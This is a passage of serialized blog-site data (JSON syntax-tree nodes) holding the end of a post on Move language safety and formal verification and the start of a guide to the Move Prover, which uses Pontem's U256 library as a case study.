vector",{"type":23,"tag":75,"props":19636,"children":19637},{"style":94},[19638],{"type":29,"value":295},{"type":23,"tag":75,"props":19640,"children":19641},{"style":104},[19642],{"type":29,"value":19301},{"type":23,"tag":75,"props":19644,"children":19645},{"style":94},[19646],{"type":29,"value":19647},">)",{"type":23,"tag":75,"props":19649,"children":19650},{"style":209},[19651],{"type":29,"value":1018},{"type":23,"tag":75,"props":19653,"children":19654},{"style":110},[19655],{"type":29,"value":19634},{"type":23,"tag":75,"props":19657,"children":19658},{"style":94},[19659],{"type":29,"value":295},{"type":23,"tag":75,"props":19661,"children":19662},{"style":104},[19663],{"type":29,"value":19664},"u128",{"type":23,"tag":75,"props":19666,"children":19667},{"style":94},[19668],{"type":29,"value":1175},{"type":23,"tag":75,"props":19670,"children":19671},{"class":77,"line":100},[19672,19676,19681,19685,19689,19693,19698,19702,19706],{"type":23,"tag":75,"props":19673,"children":19674},{"style":82},[19675],{"type":29,"value":19334},{"type":23,"tag":75,"props":19677,"children":19678},{"style":110},[19679],{"type":29,"value":19680}," amounts_times_coins",{"type":23,"tag":75,"props":19682,"children":19683},{"style":209},[19684],{"type":29,"value":1193},{"type":23,"tag":75,"props":19686,"children":19687},{"style":94},[19688],{"type":29,"value":19634},{"type":23,"tag":75,"props":19690,"children":19691},{"style":209},[19692],{"type":29,"value":1407},{"type":23,"tag":75,"props":19694,"children":19695},{"style":110},[19696],{"type":29,"value":19697},"empty",{"type":23,"tag":75,"props":19699,"children":19700},{"style":94},[19701],{"type":29,"value":295},{"type":23,"tag":75,"props":19703,"children":19704},{"style":104},[19705],{"type":29,"value":19664},{"type":23,"tag":75,"props":19707,"children":19708},{"style":94},[19709],{"type":29,"value":19710},">();\n",{"type":23,"tag":75,"props":19712,"children":19713},{"class":77,"line":121},[19714,19718,19722,19726,19730],{"type":23,"tag":75,"props":19715,"children":19716},{"style":82},[19717],{"type":29,"value":19334},{"type":23,"tag":75,"props":19719,"children":19720},{"style":110},[19721],{"type":29,"value":3261},{"type":23,"tag":75,"props":19723,"children":19724},{"style":209},[19725],{"type":29,"value":1193},{"type":23,"tag":75,"props":19727,"children":19728},{"style":237},[19729],{"type":29,"value":240},{"type":23,"tag":75,"props":19731,"children":19732},{"style":94},[19733],{"type":29,"value":245},{"type":23,"tag":75,"props":19735,"children":19736},{"class":77,"line":138},[19737,19741,19746,19750,19754,19758,19763,19767,19771,19775],{"type":23,"tag":75,"props":19738,"children":19739},{"style":82},[19740],{"type":29,"value":19334},{"type":23,"tag":75,"props":19742,"children":19743},{"style":110},[19744],{"type":29,"value":19745}," n_coins",{"type":23,"tag":75,"props":19747,"children":19748},{"style":209},[19749],{"type":29,"value":1193},{"type":23,"tag":75,"props":19751,"children":19752},{"style":94},[19753],{"type":29,"value":19634},{"type":23,"tag":75,"props":19755,"children":19756},{"style":209},[19757],{"type":29,"value":1407},{"type":23,"tag":75,"props":19759,"children":19760},{"style":88},[19761],{"type":29,"value":19762},"length",{"type":23,"tag":75,"props":19764,"children":19765},{"style":94},[19766],{"type":29,"value":643},{"type":23,"tag":75,"props":19768,"children":19769},{"style":209},[19770],{"type":29,"value":1277},{"type":23,"tag":75,"props":19772,"children":19773},{"style":110},[19774],{"type":29,"value":1207},{"type":23,"tag":75,"props":19776,"children":19777},{"style":94},[19778],{"type":29,"value":15099},{"type":23,"tag":75,"props":19780,"children":19781},{"class":77,"line":161},[19782,19787],{"type":23,"tag":75,"props":19783,"children":19784},{"style":175},[19785],{"type":29,"value":19786},"      while",{"type":23,"tag":75,"props":19788,"children":19789},{"style":94},[19790],{"type":29,"value":19791}," ({\n",{"type":23,"tag":75,"props":19793,"children":19794},{"class":77,"line":196},[19795,19800],{"type":23,"tag":75,"props":19796,"children":19797},{"style":110},[19798],{"type":29,"value":19799},"          spec",{"type":23,"tag":75,"props":19801,"children":19802},{"style":94},[19803],{"type":29,"value":401},{"type":23,"tag":75,"props":19805,"children":19806},{"class":77,"line":220},[19807,19812,19816,19820,19825,19829,19833,19837],{"type":23,"tag":75,"props":19808,"children":19809},{"style":110},[19810],{"type":29,"value":19811},"              invariant",{"type":23,"tag":75,"props":19813,"children":19814},{"style":88},[19815],{"type":29,"value":4634},{"type":23,"tag":75,"props":19817,"children":19818},{"style":94},[19819],{"type":29,"value":643},{"type":23,"tag":75,"props":19821,"children":19822},{"style":110},[19823],{"type":29,"value":19824},"amounts_times_coins",{"type":23,"tag":75,"props":19826,"children":19827},{"style":94},[19828],{"type":29,"value":167},{"type":23,"tag":75,"props":19830,"children":19831},{"style":209},[19832],{"type":29,"value":2469},{"type":23,"tag":75,"props":19834,"children":19835},{"style":110},[19836],{"type":29,"value":3261},{"type":23,"tag":75,"props":19838,"children":19839},{"style":94},[19840],{"type":29,"value":245},{"type":23,"tag":75,"props":19842,"children":19843},{"class":77,"line":248},[19844,19848,19852,19856,19860],{"type":23,"tag":75,"props":19845,"children":19846},{"style":110},[19847],{"type":29,"value":19811},{"type":23,"tag":75,"props":19849,"children":19850},{"style":110},[19851],{"type":29,"value":3261},{"type":23,"tag":75,"props":19853,"children":19854},{"style":209},[19855],{"type":29,"value":19456},{"type":23,"tag":75,"props":19857,"children":19858},{"style":110},[19859],{"type":29,"value":19745},{"type":23,"tag":75,"props":19861,"children":19862},{"style":94},[19863],{"type":29,"value":245},{"type":23,"tag":75,"props":19865,"children":19866},{"class":77,"line":270},[19867,19871,19876,19881,19885,19889,19893,19897,19901,19905,19909,19914,19918,19922,19927,19931,19935,19939,19943,19947],{"type":23,"tag":75,"props":19868,"children":19869},{"style":110},[19870],{"type":29,"value":19811},{"type":23,"tag":75,"props":19872,"children":19873},{"style":110},[19874],{"type":29,"value":19875}," forall",{"type":23,"tag":75,"props":19877,"children":19878},{"style":110},[19879],{"type":29,"value":19880}," j",{"type":23,"tag":75,"props":19882,"children":19883},{"style":82},[19884],{"type":29,"value":14330},{"type":23,"tag":75,"props":19886,"children":19887},{"style":237},[19888],{"type":29,"value":240},{"type":23,"tag":75,"props":19890,"children":19891},{"style":209},[19892],{"type":29,"value":14339},{"type":23,"tag":75,"props":19894,"children":19895},{"style":110},[19896],{"type":29,"value":12935},{"type":23,"tag":75,"props":19898,"children":19899},{"style":209},[19900],{"type":29,"value":1018},{"type":23,"tag":75,"props":19902,"children":19903},{"style":110},[19904],{"type":29,"value":19680},{"type":23,"tag":75,"props":19906,"children":19907},{"style":94},[19908],{"type":29,"value":814},{"type":23,"tag":75,"props":19910,"children":19911},{"style":110},[19912],{"type":29,"value":19913},"j",{"type":23,"tag":75,"props":19915,"children":19916},{"style":94},[19917],{"type":29,"value":13463},{"type":23,"tag":75,"props":19919,"children":19920},{"style":209},[19921],{"type":29,"value":2469},{"type":23,"tag":75,"props":19923,"children":19924},{"style":110},[19925],{"type":29,"value":19926}," input",{"type":23,"tag":75,"props":19928,"children":19929},{"style":94},[19930],{"type":29,"value":814},{"type":23,"tag":75,"props":19932,"children":19933},{"style":110},[19934],{"type":29,"value":19913},{"type":23,"tag":75,"props":19936,"children":19937},{"style":94},[19938],{"type":29,"value":13463},{"type":23,"tag":75,"props":19940,"children":19941},{"style":209},[19942],{"type":29,"value":601},{"type":23,"tag":75,"props":19944,"children":19945},{"style":110},[19946],{"type":29,"value":19745},{"type":23,"tag":75,"props":19948,"children":19949},{"style":94},[19950],{"type":29,"value":245},{"type":23,"tag":75,"props":19952,"children":19953},{"class":77,"line":279},[19954],{"type":23,"tag":75,"props":19955,"children":19956},{"style":94},[19957],{"type":29,"value":19958},"          };\n",{"type":23,"tag":75,"props":19960,"children":19961},{"class":77,"line":303},[19962,19967,19971,19975,19979],{"type":23,"tag":75,"props":19963,"children":19964},{"style":94},[19965],{"type":29,"value":19966},"          (",{"type":23,"tag":75,"props":19968,"children":19969},{"style":110},[19970],{"type":29,"value":12935},{"type":23,"tag":75,"props":19972,"children":19973},{"style":209},[19974],{"type":29,"value":749},{"type":23,"tag":75,"props":19976,"children":19977},{"style":110},[19978],{"type":29,"value":19745},{"type":23,"tag":75,"props":19980,"children":19981},{"style":94},[19982],{"type":29,"value":653},{"type":23,"tag":75,"props":19984,"children":19985},{"class":77,"line":322},[19986],{"type":23,"tag":75,"props":19987,"children":19988},{"style":94},[19989],{"type":29,"value":19990},"      }) {\n",{"type":23,"tag":75,"props":19992,"children":19993},{"class":77,"line":340},[19994,19999,20003,20008],{"type":23,"tag":75,"props":19995,"children":19996},{"style":94},[19997],{"type":29,"value":19998},"          vector",{"type":23,"tag":75,"props":20000,"children":20001},{"style":209},[20002],{"type":29,"value":1407},{"type":23,"tag":75,"props":20004,"children":20005},{"style":88},[20006],{"type":29,"value":20007},"push_back",{"type":23,"tag":75,"props":20009,"children":20010},{"style":94},[20011],{"type":29,"value":97},{"type":23,"tag":75,"props":20013,"children":20014},{"class":77,"line":349},[20015,20020,20024,20028],{"type":23,"tag":75,"props":20016,"children":20017},{"style":209},[20018],{"type":29,"value":20019},"              &",{"type":23,"tag":75,"props":20021,"children":20022},{"style":82},[20023],{"type":29,"value":14998},{"type":23,"tag":75,"props":20025,"children":20026},{"style":110},[20027],{"type":29,"value":19680},{"type":23,"tag":75,"props":20029,"children":20030},{"style":94},[20031],{"type":29,"value":118},{"type":23,"tag":75,"props":20033,"children":20034},{"class":77,"line":363},[20035,20040,20044,20049,20053,20058,20062,20066,20070,20075,20079,20084,20088,20093,20098,20103,20107,20111,20115,20120,20124,20128],{"type":23,"tag":75,"props":20036,"children":20037},{"style":94},[20038],{"type":29,"value":20039},"              (",{"type":23,"tag":75,"props":20041,"children":20042},{"style":209},[20043],{"type":29,"value":601},{"type":23,"tag":75,"props":20045,"children":20046},{"style":94},[20047],{"type":29,"value":20048},"vector",{"type":23,"tag":75,"props":20050,"children":20051},{"style":209},[20052],{"type":29,"value":1407},{"type":23,"tag":75,"props":20054,"children":20055},{"style":88},[20056],{"type":29,"value":20057},"borrow",{"type":23,"tag":75,"props":20059,"children":20060},{"style":94},[20061],{"type":29,"value":643},{"type":23,"tag":75,"props":20063,"children":20064},{"style":209},[20065],{"type":29,"value":1277},{"type":23,"tag":75,"props":20067,"children":20068},{"style":110},[20069],{"type":29,"value":1207},{"type":23,"tag":75,"props":20071,"children":20072},{"style":94},[20073],{"type":29,"value":20074},", (",{"type":23,"tag":75,"props":20076,"children":20077},{"style":110},[20078],{"type":29,"value":12935},{"type":23,"tag":75,"props":20080,"children":20081},{"style":82},[20082],{"type":29,"value":20083}," as",{"type":23,"tag":75,"props":20085,"children":20086},{"style":104},[20087],{"type":29,"value":17129},{"type":23,"tag":75,"props":20089,"children":20090},{"style":94},[20091],{"type":29,"value":20092},")) ",{"type":23,"tag":75,"props":20094,"children":20095},{"style":82},[20096],{"type":29,"value":20097},"as",{"type":23,"tag":75,"props":20099,"children":20100},{"style":104},[20101],{"type":29,"value":20102}," u128",{"type":23,"tag":75,"props":20104,"children":20105},{"style":94},[20106],{"type":29,"value":167},{"type":23,"tag":75,"props":20108,"children":20109},{"style":209},[20110],{"type":29,"value":601},{"type":23,"tag":75,"props":20112,"children":20113},{"style":94},[20114],{"type":29,"value":183},{"type":23,"tag":75,"props":20116,"children":20117},{"style":110},[20118],{"type":29,"value":20119},"n_coins",{"type":23,"tag":75,"props":20121,"children":20122},{"style":82},[20123],{"type":29,"value":20083},{"type":23,"tag":75,"props":20125,"children":20126},{"style":104},[20127],{"type":29,"value":20102},{"type":23,"tag":75,"props":20129,"children":20130},{"style":94},[20131],{"type":29,"value":653},{"type":23,"tag":75,"props":20133,"children":20134},{"class":77,"line":656},[20135],{"type":23,"tag":75,"props":20136,"children":20137},{"style":94},[20138],{"type":29,"value":20139},"          );\n",{"type":23,"tag":75,"props":20141,"children":20142},{"class":77,"line":705},[20143,20148,20152,20156,20161,20165],{"type":23,"tag":75,"props":20144,"children":20145},{"style":110},[20146],{"type":29,"value":20147},"          i",{"type":23,"tag":75,"props":20149,"children":20150},{"style":209},[20151],{"type":29,"value":1193},{"type":23,"tag":75,"props":20153,"children":20154},{"style":110},[20155],{"type":29,"value":3261},{"type":23,"tag":75,"props":20157,"children":20158},{"style":209},[20159],{"type":29,"value":20160}," +",{"type":23,"tag":75,"props":20162,"children":20163},{"style":237},[20164],{"type":29,"value":15795},{"type":23,"tag":75,"props":20166,"children":20167},{"style":94},[20168],{"type":29,"value":245},{"type":23,"tag":75,"props":20170,"children":20171},{"class":77,"line":787},[20172],{"type":23,"tag":75,"props":20173,"children":20174},{"style":94},[20175],{"type":29,"value":20176},"      };\n",{"type":23,"tag":75,"props":20178,"children":20179},{"class":77,"line":826},[20180,20185],{"type":23,"tag":75,"props":20181,"children":20182},{"style":110},[20183],{"type":29,"value":20184},"      spec",{"type":23,"tag":75,"props":20186,"children":20187},{"style":94},[20188],{"type":29,"value":401},{"type":23,"tag":75,"props":20190,"children":20191},{"class":77,"line":834},[20192,20197,20201,20205,20209],{"type":23,"tag":75,"props":20193,"children":20194},{"style":110},[20195],{"type":29,"value":20196},"          assert",{"type":23,"tag":75,"props":20198,"children":20199},{"style":110},[20200],{"type":29,"value":3261},{"type":23,"tag":75,"props":20202,"children":20203},{"style":209},[20204],{"type":29,"value":1372},{"type":23,"tag":75,"props":20206,"children":20207},{"style":110},[20208],{"type":29,"value":19745},{"type":23,"tag":75,"props":20210,"children":20211},{"style":94},[20212],{"type":29,"value":245},{"type":23,"tag":75,"props":20214,"children":20215},{"class":77,"line":881},[20216,20220,20224,20228,20232,20236,20240,20244],{"type":23,"tag":75,"props":20217,"children":20218},{"style":110},[20219],{"type":29,"value":20196},{"type":23,"tag":75,"props":20221,"children":20222},{"style":88},[20223],{"type":29,"value":4634},{"type":23,"tag":75,"props":20225,"children":20226},{"style":94},[20227],{"type":29,"value":643},{"type":23,"tag":75,"props":20229,"children":20230},{"style":110},[20231],{"type":29,"value":1207},{"type":23,"tag":75,"props":20233,"children":20234},{"style":94},[20235],{"type":29,"value":167},{"type":23,"tag":75,"props":20237,"children":20238},{"style":209},[20239],{"type":29,"value":2469},{"type":23,"tag":75,"props":20241,"children":20242},{"style":110},[20243],{"type":29,"value":19745},{"type":23,"tag":75,"props":20245,"children":20246},{"style":94},[20247],{"type":29,"value":245},{"type":23,"tag":75,"props":20249,"children":20250},{"class":77,"line":3355},[20251],{"type":23,"tag":75,"props":20252,"children":20253},{"style":94},[20254],{"type":29,"value":20176},{"type":23,"tag":75,"props":20256,"children":20257},{"class":77,"line":3390},[20258],{"type":23,"tag":75,"props":20259,"children":20260},{"style":110},[20261],{"type":29,"value":20262},"      amounts_times_coins\n",{"type":23,"tag":75,"props":20264,"children":20265},{"class":77,"line":3423},[20266],{"type":23,"tag":75,"props":20267,"children":20268},{"style":94},[20269],{"type":29,"value":17141},{"type":23,"tag":75,"props":20271,"children":20272},{"class":77,"line":3436},[20273,20277,20281],{"type":23,"tag":75,"props":20274,"children":20275},{"style":110},[20276],{"type":29,"value":19404},{"type":23,"tag":75,"props":20278,"children":20279},{"style":110},[20280],{"type":29,"value":19617},{"type":23,"tag":75,"props":20282,"children":20283},{"style":94},[20284],{"type":29,"value":401},{"type":23,"tag":75,"props":20286,"children":20287},{"class":77,"line":3449},[20288,20292,20297],{"type":23,"tag":75,"props":20289,"children":20290},{"style":110},[20291],{"type":29,"value":19420},{"type":23,"tag":75,"props":20293,"children":20294},{"style":110},[20295],{"type":29,"value":20296}," opaque",{"type":23,"tag":75,"props":20298,"children":20299},{"style":94},[20300],{"type":29,"value":245},{"type":23,"tag":75,"props":20302,"children":20303},{"class":77,"line":3457},[20304,20309,20314],{"type":23,"tag":75,"props":20305,"children":20306},{"style":110},[20307],{"type":29,"value":20308},"      aborts_if",{"type":23,"tag":75,"props":20310,"children":20311},{"style":82},[20312],{"type":29,"value":20313}," false",{"type":23,"tag":75,"props":20315,"children":20316},{"style":94},[20317],{"type":29,"value":245},{"type":23,"tag":75,"props":20319,"children":20320},{"class":77,"line":3465},[20321,20325,20329,20333,20337,20341,20345,20349,20353,20357],{"type":23,"tag":75,"props":20322,"children":20323},{"style":110},[20324],{"type":29,"value":19446},{"type":23,"tag":75,"props":20326,"children":20327},{"style":88},[20328],{"type":29,"value":4634},{"type":23,"tag":75,"props":20330,"children":20331},{"style":94},[20332],{"type":29,"value":643},{"type":23,"tag":75,"props":20334,"children":20335},{"style":110},[20336],{"type":29,"value":1342},{"type":23,"tag":75,"props":20338,"children":20339},{"style":94},[20340],{"type":29,"value":167},{"type":23,"tag":75,"props":20342,"children":20343},{"style":209},[20344],{"type":29,"value":2469},{"type":23,"tag":75,"props":20346,"children":20347},{"style":88},[20348],{"type":29,"value":4634},{"type":23,"tag":75,"props":20350,"children":20351},{"style":94},[20352],{"type":29,"value":643},{"type":23,"tag":75,"props":20354,"children":20355},{"style":110},[20356],{"type":29,"value":1207},{"type":23,"tag":75,"props":20358,"children":20359},{"style":94},[20360],{"type":29,"value":15099},{"type":23,"tag":75,"props":20362,"children":20363},{"class":77,"line":3473},[20364,20368,20372,20376,20380,20384,20388,20392,20396,20400,20404,20408,20412,20416,20420,20424,20428,20432,20436,20440,20444,20448,20452,20456,20460],{"type":23,"tag":75,"props":20365,"children":20366},{"style":110},[20367],{"type":29,"value":19446},{"type":23,"tag":75,"props":20369,"children":20370},{"style":110},[20371],{"type":29,"value":19875},{"type":23,"tag":75,"props":20373,"children":20374},{"style":110},[20375],{"type":29,"value":19880},{"type":23,"tag":75,"props":20377,"children":20378},{"style":82},[20379],{"type":29,"value":14330},{"type":23,"tag":75,"props":20381,"children":20382},{"style":237},[20383],{"type":29,"value":240},{"type":23,"tag":75,"props":20385,"children":20386},{"style":209},[20387],{"type":29,"value":14339},{"type":23,"tag":75,"props":20389,"children":20390},{"style":88},[20391],{"type":29,"value":679},{"type":23,"tag":75,"props":20393,"children":20394},{"style":94},[20395],{"type":29,"value":643},{"type":23,"tag":75,"props":20397,"children":20398},{"style":110},[20399],{"type":29,"value":1207},{"type":23,"tag":75,"props":20401,"children":20402},{"style":94},[20403],{"type":29,"value":1347},{"type":23,"tag":75,"props":20405,"children":20406},{"style":209},[20407],{"type":29,"value":1018},{"type":23,"tag":75,"props":20409,"children":20410},{"style":110},[20411],{"type":29,"value":1241},{"type":23,"tag":75,"props":20413,"children":20414},{"style":94},[20415],{"type":29,"value":814},{"type":23,"tag":75,"props":20417,"children":20418},{"style":110},[20419],{"type":29,"value":19913},{"type":23,"tag":75,"props":20421,"children":20422},{"style":94},[20423],{"type":29,"value":13463},{"type":23,"tag":75,"props":20425,"children":20426},{"style":209},[20427],{"type":29,"value":2469},{"type":23,"tag":75,"props":20429,"children":20430},{"style":110},[20431],{"type":29,"value":19926},{"type":23,"tag":75,"props":20433,"children":20434},{"style":94},[20435],{"type":29,"value":814},{"type":23,"tag":75,"props":20437,"children":20438},{"style":110},[20439],{"type":29,"value":19913},{"type":23,"tag":75,"props":20441,"children":20442},{"style":94},[20443],{"type":29,"value":13463},{"type":23,"tag":75,"props":20445,"children":20446},{"style":209},[20447],{"type":29,"value":601},{"type":23,"tag":75,"props":20449,"children":20450},{"style":88},[20451],{"type":29,"value":4634},{"type":23,"tag":75,"props":20453,"children":20454},{"style":94},[20455],{"type":29,"value":643},{"type":23,"tag":75,"props":20457,"children":20458},{"style":110},[20459],{"type":29,"value":1207},{"type":23,"tag":75,"props":20461,"children":20462},{"style":94},[20463],{"type":29,"value":15099},{"type":23,"tag":75,"props":20465,"children":20466},{"class":77,"line":3481},[20467],{"type":23,"tag":75,"props":20468,"children":20469},{"style":94},[20470],{"type":29,"value":17141},{"type":23,"tag":24,"props":20472,"children":20473},{"id":16581},[20474],{"type":29,"value":16584},{"type":23,"tag":32,"props":20476,"children":20477},{},[20478],{"type":29,"value":20479},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":32,"props":20481,"children":20482},{},[20483],{"type":29,"value":20484},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":32,"props":20486,"children":20487},{},[20488,20490,20497],{"type":29,"value":20489},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":940,"props":20491,"children":20494},{"href":20492,"rel":20493},"https://twitter.com/notdeghost/",[944],[20495],{"type":29,"value":20496},"@notdeghost",{"type":29,"value":557},{"type":23,"tag":14130,"props":20499,"children":20500},{},[20501],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":20503},[20504,20505,20506],{"id":2344,"depth":100,"text":17032},{"id":19055,"depth":100,"text":19058},{"id":16581,"depth":100,"text":16584},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":20511,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":20512,"description":20513,"author":16991,"image":20514,"date":20517,"isFeatured":15,"tags":20518,"onBlogPage":15,"body":20521,"_type":14157,"_id":24856,"_source":14159,"_file":24857,"_stem":24858,"_extension":14162},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":20515,"height":20516,"width":16995},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[20519,20520],"move","tutorial",{"type":20,"children":20522,"toc":24842},[20523,20542,20554,20560,20565,20570,20575,20584,20589,20603,20608,20614,20619,20633,20638,20775,20788,20793,20814,20846,20857,20862,20867,20877,20890,21231,21245,21263,21308,21321,21340,21512,21517,21522,21547,21552,22152,22164,22176,22181,22195,22200,22213,22253,22258,22290,22295,22300,22313,22698,22725,22932,22937,22949,23185,23190,23198,23217,23563,23568,23725,23730,23737,23751,23757,23762,23767,23773,23786,24018,24024,24029,24049,24317,24322,24328,24340,24345,24359,24365,24401,24501,24522,24528,24533,24538,24790,24795,24813,24817,24822,24827,24838],{"type":23,"tag":32,"props":20524,"children":20525},{},[20526,20528,20533,20535,20540],{"type":29,"value":20527},"Formal verification -- a powerful tool for ",{"type":23,"tag":9690,"props":20529,"children":20530},{},[20531],{"type":29,"value":20532},"proving",{"type":29,"value":20534}," the correctness of your programs. How does it ",{"type":23,"tag":9690,"props":20536,"children":20537},{},[20538],{"type":29,"value":20539},"actually",{"type":29,"value":20541}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":32,"props":20543,"children":20544},{},[20545,20547,20552],{"type":29,"value":20546},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":9690,"props":20548,"children":20549},{},[20550],{"type":29,"value":20551},"all",{"type":29,"value":20553}," possible inputs.",{"type":23,"tag":24,"props":20555,"children":20557},{"id":20556},"move-prover",[20558],{"type":29,"value":20559},"Move Prover",{"type":23,"tag":32,"props":20561,"children":20562},{},[20563],{"type":29,"value":20564},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":32,"props":20566,"children":20567},{},[20568],{"type":29,"value":20569},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":32,"props":20571,"children":20572},{},[20573],{"type":29,"value":20574},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":32,"props":20576,"children":20577},{},[20578],{"type":23,"tag":15189,"props":20579,"children":20583},{"alt":20580,"src":20581,"title":20582},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":32,"props":20585,"children":20586},{},[20587],{"type":29,"value":20588},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":32,"props":20590,"children":20591},{},[20592,20594,20601],{"type":29,"value":20593},"The model is translated into an intermediate language, called ",{"type":23,"tag":940,"props":20595,"children":20598},{"href":20596,"rel":20597},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[944],[20599],{"type":29,"value":20600},"Boogie",{"type":29,"value":20602},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":32,"props":20604,"children":20605},{},[20606],{"type":29,"value":20607},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":24,"props":20609,"children":20611},{"id":20610},"move-specification-language",[20612],{"type":29,"value":20613},"Move Specification Language",{"type":23,"tag":32,"props":20615,"children":20616},{},[20617],{"type":29,"value":20618},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":32,"props":20620,"children":20621},{},[20622,20624,20631],{"type":29,"value":20623},"To better understand how to use the MSL, we will use ",{"type":23,"tag":940,"props":20625,"children":20628},{"href":20626,"rel":20627},"https://github.com/pontem-network/u256",[944],[20629],{"type":29,"value":20630},"Pontem's U256 library",{"type":29,"value":20632},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":32,"props":20634,"children":20635},{},[20636],{"type":29,"value":20637},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":64,"props":20639,"children":20641},{"code":20640,"language":986,"meta":7,"className":987,"style":7},"struct U256 has copy, drop, store {\n    v0: u64,\n    v1: u64,\n    v2: u64,\n    v3: u64,\n}\n",[20642],{"type":23,"tag":71,"props":20643,"children":20644},{"__ignoreMap":7},[20645,20688,20708,20728,20748,20768],{"type":23,"tag":75,"props":20646,"children":20647},{"class":77,"line":78},[20648,20653,20657,20662,20667,20671,20676,20680,20684],{"type":23,"tag":75,"props":20649,"children":20650},{"style":82},[20651],{"type":29,"value":20652},"struct",{"type":23,"tag":75,"props":20654,"children":20655},{"style":104},[20656],{"type":29,"value":16001},{"type":23,"tag":75,"props":20658,"children":20659},{"style":110},[20660],{"type":29,"value":20661}," has",{"type":23,"tag":75,"props":20663,"children":20664},{"style":110},[20665],{"type":29,"value":20666}," copy",{"type":23,"tag":75,"props":20668,"children":20669},{"style":94},[20670],{"type":29,"value":611},{"type":23,"tag":75,"props":20672,"children":20673},{"style":110},[20674],{"type":29,"value":20675},"drop",{"type":23,"tag":75,"props":20677,"children":20678},{"style":94},[20679],{"type":29,"value":611},{"type":23,"tag":75,"props":20681,"children":20682},{"style":110},[20683],{"type":29,"value":2411},{"type":23,"tag":75,"props":20685,"children":20686},{"style":94},[20687],{"type":29,"value":401},{"type":23,"tag":75,"props":20689,"children":20690},{"class":77,"line":100},[20691,20696,20700,20704],{"type":23,"tag":75,"props":20692,"children":20693},{"style":110},[20694],{"type":29,"value":20695},"    v0",{"type":23,"tag":75,"props":20697,"children":20698},{"style":209},[20699],{"type":29,"value":1018},{"type":23,"tag":75,"props":20701,"children":20702},{"style":104},[20703],{"type":29,"value":17129},{"type":23,"tag":75,"props":20705,"children":20706},{"style":94},[20707],{"type":29,"value":118},{"type":23,"tag":75,"props":20709,"children":20710},{"class":77,"line":121},[20711,20716,20720,20724],{"type":23,"tag":75,"props":20712,"children":20713},{"style":110},[20714],{"type":29,"value":20715},"    v1",{"type":23,"tag":75,"props":20717,"children":20718},{"style":209},[20719],{"type":29,"value":1018},{"type":23,"tag":75,"props":20721,"children":20722},{"style":104},[20723],{"type":29,"value":17129},{"type":23,"tag":75,"props":20725,"children":20726},{"style":94},[20727],{"type":29,"value":118},{"type":23,"tag":75,"props":20729,"children":20730},{"class":77,"line":138},[20731,20736,20740,20744],{"type":23,"tag":75,"props":20732,"children":20733},{"style":110},[20734],{"type":29,"value":20735},"    v2",{"type":23,"tag":75,"props":20737,"children":20738},{"style":209},[20739],{"type":29,"value":1018},{"type":23,"tag":75,"props":20741,"children":20742},{"style":104},[20743],{"type":29,"value":17129},{"type":23,"tag":75,"props":20745,"children":20746},{"style":94},[20747],{"type":29,"value":118},{"type":23,"tag":75,"props":20749,"children":20750},{"class":77,"line":161},[20751,20756,20760,20764],{"type":23,"tag":75,"props":20752,"children":20753},{"style":110},[20754],{"type":29,"value":20755},"    v3",{"type":23,"tag":75,"props":20757,"children":20758},{"style":209},[20759],{"type":29,"value":1018},{"type":23,"tag":75,"props":20761,"children":20762},{"style":104},[20763],{"type":29,"value":17129},{"type":23,"tag":75,"props":20765,"children":20766},{"style":94},[20767],{"type":29,"value":118},{"type":23,"tag":75,"props":20769,"children":20770},{"class":77,"line":196},[20771],{"type":23,"tag":75,"props":20772,"children":20773},{"style":94},[20774],{"type":29,"value":369},{"type":23,"tag":32,"props":20776,"children":20777},{},[20778,20780,20786],{"type":29,"value":20779},"Now, let's consider the ",{"type":23,"tag":71,"props":20781,"children":20783},{"className":20782},[],[20784],{"type":29,"value":20785},"add(a: U256, b: U256): U256",{"type":29,"value":20787}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":32,"props":20789,"children":20790},{},[20791],{"type":29,"value":20792},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":32,"props":20794,"children":20795},{},[20796,20798,20804,20806,20813],{"type":29,"value":20797},"For example, if your file is ",{"type":23,"tag":71,"props":20799,"children":20801},{"className":20800},[],[20802],{"type":29,"value":20803},"sources/u256.move",{"type":29,"value":20805},", you can put specifications in 